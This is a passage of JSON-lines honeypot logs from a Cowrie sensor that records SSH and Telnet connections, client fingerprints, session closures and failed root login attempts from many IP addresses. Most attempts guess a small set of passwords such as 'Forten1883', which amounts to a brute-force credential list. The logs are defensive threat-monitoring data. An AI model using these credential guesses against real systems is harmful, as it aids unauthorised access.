521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:58.465293Z","src_ip":"103.98.149.87","session":"ac00f60cffd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx#","message":"login attempt [root/!QAZ2wsx#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:58.544525Z","src_ip":"200.77.172.159","session":"f538f83f60f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:59.131110Z","src_ip":"103.98.149.87","session":"ac00f60cffd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:34:59.619411Z","src_ip":"200.77.172.159","session":"f538f83f60f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:00.356232Z","src_ip":"103.98.149.87","session":"ac00f60cffd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.58544373512268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:06.257188Z","src_ip":"50.6.8.71","session":"154574fda779","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.41428804397583,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:06.959962Z","src_ip":"50.6.8.71","session":"19d048e82eea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.268211126327515,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:11.167169Z","src_ip":"50.6.8.71","session":"3d37c77c083e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.436676263809204,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:11.381800Z","src_ip":"50.6.8.71","session":"76919f57d457","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":34548,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed7052100dc0","protocol":"ssh","message":"New connection: 103.149.28.157:34548 (10.17.0.5:22) [session: ed7052100dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:11.664465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:11.670074Z","src_ip":"103.149.28.157","session":"ed7052100dc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:11.915561Z","src_ip":"103.149.28.157","session":"ed7052100dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:12.654118Z","src_ip":"103.149.28.157","session":"ed7052100dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.928167819976807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:12.843484Z","src_ip":"50.6.8.71","session":"f4774df372ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:13.901751Z","src_ip":"103.149.28.157","session":"ed7052100dc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.68","src_port":46542,"dst_ip":"10.17.0.5","dst_port":22,"session":"4be63234896c","protocol":"ssh","message":"New connection: 103.27.238.68:46542 (10.17.0.5:22) [session: 4be63234896c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:14.088891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:14.097895Z","src_ip":"103.27.238.68","session":"4be63234896c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:14.368053Z","src_ip":"103.27.238.68","session":"4be63234896c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:15.155334Z","src_ip":"103.27.238.68","session":"4be63234896c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.2971727848053,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:15.410324Z","src_ip":"50.6.8.71","session":"9885e50fe23a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:16.420605Z","src_ip":"103.27.238.68","session":"4be63234896c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.395519971847534,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:19.677835Z","src_ip":"50.6.8.71","session":"62f3a50d6b6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56606,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0574fd510b5","protocol":"ssh","message":"New connection: 103.153.68.219:56606 (10.17.0.5:22) [session: e0574fd510b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:28.620388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:28.624364Z","src_ip":"103.153.68.219","session":"e0574fd510b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:28.869526Z","src_ip":"103.153.68.219","session":"e0574fd510b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40244,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ff2525f63f0","protocol":"telnet","message":"New connection: 50.6.8.71:40244 (10.17.0.5:23) [session: 8ff2525f63f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:29.601099Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:29.606888Z","src_ip":"103.153.68.219","session":"e0574fd510b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:30.857983Z","src_ip":"103.153.68.219","session":"e0574fd510b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":58582,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f0a29982251","protocol":"telnet","message":"New connection: 50.6.8.71:58582 (10.17.0.5:23) [session: 5f0a29982251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:31.202596Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":39578,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c2809911cd6","protocol":"ssh","message":"New connection: 103.75.183.219:39578 (10.17.0.5:22) [session: 6c2809911cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:39.349725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:39.354059Z","src_ip":"103.75.183.219","session":"6c2809911cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:39.591897Z","src_ip":"103.75.183.219","session":"6c2809911cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":37464,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4649a07d11d","protocol":"ssh","message":"New connection: 103.27.238.116:37464 (10.17.0.5:22) [session: d4649a07d11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:39.773053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:39.777114Z","src_ip":"103.27.238.116","session":"d4649a07d11d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:40.038873Z","src_ip":"103.27.238.116","session":"d4649a07d11d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:40.305747Z","src_ip":"103.75.183.219","session":"6c2809911cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:40.830477Z","src_ip":"103.27.238.116","session":"d4649a07d11d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:41.545431Z","src_ip":"103.75.183.219","session":"6c2809911cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:42.098757Z","src_ip":"103.27.238.116","session":"d4649a07d11d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47998,"dst_ip":"10.17.0.5","dst_port":23,"session":"c953327ac970","protocol":"telnet","message":"New connection: 50.6.8.71:47998 (10.17.0.5:23) [session: c953327ac970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:44.096471Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.118","src_port":58222,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ada81bc1fb3","protocol":"ssh","message":"New connection: 103.27.238.118:58222 (10.17.0.5:22) [session: 8ada81bc1fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:48.939289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:48.943527Z","src_ip":"103.27.238.118","session":"8ada81bc1fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":51372,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcaafe79f43e","protocol":"ssh","message":"New connection: 103.77.242.62:51372 (10.17.0.5:22) [session: fcaafe79f43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:48.993784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:48.998007Z","src_ip":"103.77.242.62","session":"fcaafe79f43e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:49.205119Z","src_ip":"103.27.238.118","session":"8ada81bc1fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:49.231621Z","src_ip":"103.77.242.62","session":"fcaafe79f43e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:49.933004Z","src_ip":"103.77.242.62","session":"fcaafe79f43e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T20:35:49.988462Z","src_ip":"103.27.238.118","session":"8ada81bc1fb3","protocol":"ssh"}
